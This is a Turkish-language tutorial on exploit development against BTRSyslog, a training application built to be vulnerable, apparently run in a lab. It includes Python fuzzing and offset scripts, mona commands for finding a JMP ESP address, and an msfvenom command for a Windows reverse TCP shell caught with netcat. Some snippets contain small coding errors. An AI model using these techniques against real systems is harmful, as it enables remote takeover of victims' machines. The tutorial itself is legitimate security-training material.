27 Mart 2016

Buffer Overflow Exploit Geliştirme

Bu makalemizde bir sistem üzerine bufferoverflow yöntemi kullanarak shell açma konusundan bahsedeceğiz. Shell açmak için gerekli çalışmaları yaptıktan sonra oluşturacağımızı exploiti metasploit üzerine bir modül olarak eklemeye çalışacağız.
Adımlarımızı BTRisk tarafından bu konuya özel olarak geliştirilen BTRSyslog uygulaması üzerinde gerçekleştireceğiz. Bu yazıda Buffer Overflow adımları detaylı bir şekilde ele alınmayacaktır. Eğer konuyu detaylı bir şekilde ele almak isterseniz Fatih Emiral  tarafından hazırlanmış olan videolara aşağıdaki linkten erişebilirsiniz.


Uygulama Hakkında

BTRSyslog uygulaması UDP 514 portunu dinleyerek kendisine gelen paketleri toplamaktadır. Bu nedenle buffer overflow adımlarını izlerken bizde bu port ve protokolden faydalanacağız. Uygulamayı aşağıdaki linkte indirebilirsiniz.

www.btrisk.com/btrsys.rar

Uygulamamızın nasıl çalıştığını anlamak için çok kısa bir test yapalım.

Mevcut exe uzantısını çalıştıralım ve gelen ekranda play butonuna basarak uygulamayı aktif hale getirelim. Sonraki adımda hping aracını kullanarak düşük boyutlarda udp paketi gönderelim ve paketlerin ulaştığından emin olalım. Kullandığım hping komutu ve uygulamanın görüntüsü aşağıdaki gibidir;

hping3 192.168.2.4 -p 514 --udp --data 1

Uygulamamızın çalıştığından emin olduktan sonra işlemlerimizi takip etmek için Immunity Debugger ve bu debugger içerisinde bulunan bir eklenti olan mona.py scriptlerine ihtiyacımız olacak. Uygulamanın çalıştığı sistem Windows 7 , saldırgan tarafındaki işletim sistemi ise Kali Linux’tur. Mona eklentisine aşağıdaki linkten erişebilirsiniz.


Uygulamanın Fuzz Edilmesi

Bu bölümde hazırladığımız kısa bir script ile uygulamamıza boyutları düzenli olarak artan paketler göndereceğiz ve uygulamanın kaç byte uzunluktaki isteklere cevap verdiğini tespit etmeye çalışacağız. Daha önce herhangi bir script yazma tecrübeniz olmasa bile bu tarz scriptleri internet üzerinden kolayca bulabilirsiniz.
#!/usr/bin/python
import socket, time

buffer = ["A"]
counter = 10 
while len(buffer) <=20:
 buffer.append("A" * counter)
 counter = counter + 10

for strings in buffer:
 time.sleep(1)
 print "Buffer : %s byte" % len(strings)
 s=socket.socket (socket.AF_INET, socket.SOCK_DGRAM)
 s.connect(('192.168.2.7', 514))
 s.send(strings)
 s.close
Scripti çalıştırdığınızda gönderilen paketlerin 10 byte arttığını görüyoruz. Uygulama üzerinde takip ettiğinizde ortalama 14 paket ulaştığında uygulamanın çalışmayı durduğunu göreceksiniz. Buradan yola çıkarsak 140 byte uzunluğunda bir paket gönderildiğinde uygulamanın crash olduğu sonucuna varabiliriz.

Bu işlemi yapmak için  Immunity Debugger çalıştırıp File > Attach bölümünden uygulamamızı attach edip ok işareti ile belirtilen RUN butonuna basalım.
İşlemi daha net görebilmek için scriptinizi düzenleyip tek seferde 140 byte uzunluğunda bir buffer gönderebilirsiniz. Aynı zamanda Immunity Debugger ile sağ üst alandaki CPU registerlarını kontrol edebilirsiniz. 140 bytelık bir buffer gönderiminden sonra görüntü aşağıdaki gibi olacaktır.


Bir sonraki adımımız gönderilen buffer üzerinde EIP register değerinin hangi 4 bytelık adrese denk geldiğini tespit etmek olacak. EIP registerı bir sonraki çalıştırılacak olan kodun adresini tutan registerdır. EIP değerini kontrol ettikten sonra uygulama akışına müdahale etme şansımız olacaktır.
EIP registerının 140 bytelık buffer içerisinde hangi bytelara denk geldiğini bulmak için metasploit framework içerisinde tanımlı olan pattern_create.rb scriptini kullanacağız. Bu script bize 140 byte uzunluğunda unique bir değer üretecek.


#!/usr/bin/python
import socket

pattern =  (
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2"
"Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae" )

s=socket.socket (socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('192.168.2.4', 514))
Script çalıştırıldıktan sonra EIP değeri sağ üst bölümdeki gibi görünecektir sağ tıklayarak bu değer kopyalayalım.


EIP registerı 65413565 değerleri tarafından ezilmiş durumda. Şimdi bu değerin gönderdiğimiz özel buffer içierisinden hangi offsete denk geldiğini hesaplayalım. Bunun için pattern_create.rb ile aynı dizin altında bulunan pattern_offset.rb scriptini kullanacağız. 


Scriptimiz çalıştıktan sonra bize EIP registerının 136. Offsetten sonra başladığını belirtiyor. Bu değerin doğru olduğunu anlamak için scriptimizi aşağıdaki şekilde düzenliyor ve uygulamamıza buffer değerini tekrar gönderiyoruz. Eğer scriptimizde olduğu gibi EIP register B karakteri tarafından ezilirse offset doğru hesaplanmış anlamına gelecektir. (42 = B)
#!/usr/bin/python
import  socket
buffer = "A" * 136 + "B" * 4

s=socket.socket (socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('192.168.2.7', 514))
s.send(buffer)
s.close
Burada ufak bir sorunu çözmemiz gerekecek. Shell açabilmek için kullanacağımız shellcode 350-400 byte arasında alana ihtiyaç duymaktadır. Ancak hesapladığımız değerlere göre (136 + 4) stack alanı dolmuş durumda. Bu nedenle stack alanını genişletmemiz gerekiyor. Ben 600 byte kadar bir stack oluşturacağım. Bunun için scriptimin içerisinde C karakterlerini 600’e tamamlayacak şekilde ekliyorum.
#!/usr/bin/python
import  socket
buffer = "A" * 136  +  "B" * 4  + “C” + 460

s=socket.socket (socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('192.168.2.7', 514))
s.send(buffer)
s.close
Script çalıştırıldıktan sonra yeni oluşan ESP değerinin üzerine sağ tıklayıp Follow in Dump seçeneğine tıkladığımızda sol alt köşede “C” karakterlerini görebiliriz. “C” karakterlerinin olduğu alan shellcode için kullanacağımız alandır.

Uygulamanın bileşenlerine bağlı olarak bazı karakterleri stack veya shellcode içerisinde kullanmamıza izin verilmiyor olabilir. Bu tür karakterleri (badchar) tespit etmek için scriptimizi aşağıdaki şekilde düzenleyelim ve mümkün olan tüm karakterleri oluşturduğumuz  bufferın bir parçası olarak gönderelim.

CPU register bölümünde ESP üzerine sağ tıklayarak Follow in Dump seçeneğine tıklayalım. Sol alt tarafta görüldüğü üzere bizim programımızda herhangi bir karakter problemi yaşanmamaktadır. Ancak genel olarak problem oluşturan 0x00(null) karakterini kullanmıyoruz.

Sırada uygulamanın akışına müdahale edebilmemiz için JMP ESP adresini bulmaya geldi. Bu işlemi kolaylaştırmak için mona scriptlerinden faydalanacağız. Öncelikle !mona modules komutu çalıştırılarak adresi bulacağımız dll adını belirliyoruz. Dikkat edilmesi gereken nokta DEP ve ASLR desteği bulunmayan bir modül olmasıdır. Burada yine uygulamamıza özel olan BTRSysdll.dll modülünü seçiyoruz.

Bu dll içerisindeki jmp esp adresini bulmak için aşağıdaki mona komutunu kullanabiliriz.
Komut içerisinde kullandığımız FFE4 adresi JMP ESP adresinin opcode olarak karşılığını ifade etmektedir. Bu tarz değerleri hesaplamak için nasm_shell.rb scriptini kullanabiliriz.

!mona find –s “\xff\xe4” –m BTRSsysdll.dll

Açılan ekranda dll tarafından işaret edilen adresi sağ tıklayarak kopyalayalım ve sırasıyla aşağıdaki adımları takip edelim;
Immunity Debugger ekranının üst kısmındaki e harfine tıklayalım.


Burada ilgili dll üzerine çift tıklayalım. Daha sonra Go To Address sembolüne tıklayarak bulduğumuz adresi yapıştırıp OK tıklayalım. Bizi JMP ESP adresine götürecektir. Burada elde ettiğimiz adresi EIP adresi ile değiştirerek uygulamanın bizim stack üzerine yerleştireceğimiz koda atlamasını sağlayacağız.



Scriptimiz tekrar oluştururken dikkat edilmesi gereken nokta JMP ESP adresi little endian formatında ele alınmalıdır.

Sırada bağlantımızı kurmak için shellcode oluşturmaya geldi. Bu adımda msfvenom aracını kullanarak kodumuzu kolayca oluşturabiliriz. Örnek olarak aşağıdaki komut verilebilir. Siz senaryonuza göre farklı payload, işletim sistemi veya encoder belirleyebilirsiniz.

msfvenom –p windows/reverse_shell_tcp LHOST=192.168.x.x LPORT=4445 –e x86/shikata_ga_nai –f c –b “\x00”

Komutun çıktısını kopyalayıp scriptimize ekleyelim. Oluşturduğumuz shellcode stack alanının ilk bir kaç bytelık bölümünü ezebilir ve kodun doğru şekilde çalışmasını engelleyebilir. Bu durumu ortadan kaldırmak  için scriptimize NOP (x90) instructionları eklemeliyiz. Bu instruction herhangi bir işlem gerçekleştirmez, sadece bir sonraki instructiona geçmemizi sağlar. 

Oluşturduğumuz scriptimizin son hali aşağıdakine benzer şekilde olacaktır;

Son olarak netcat listener başlatalım ve scriptimizi çalıştıralım. Aşağıda görüldüğü gibi artık hedef sistem üzerinde bir shell bağlantısına sahip olacağız.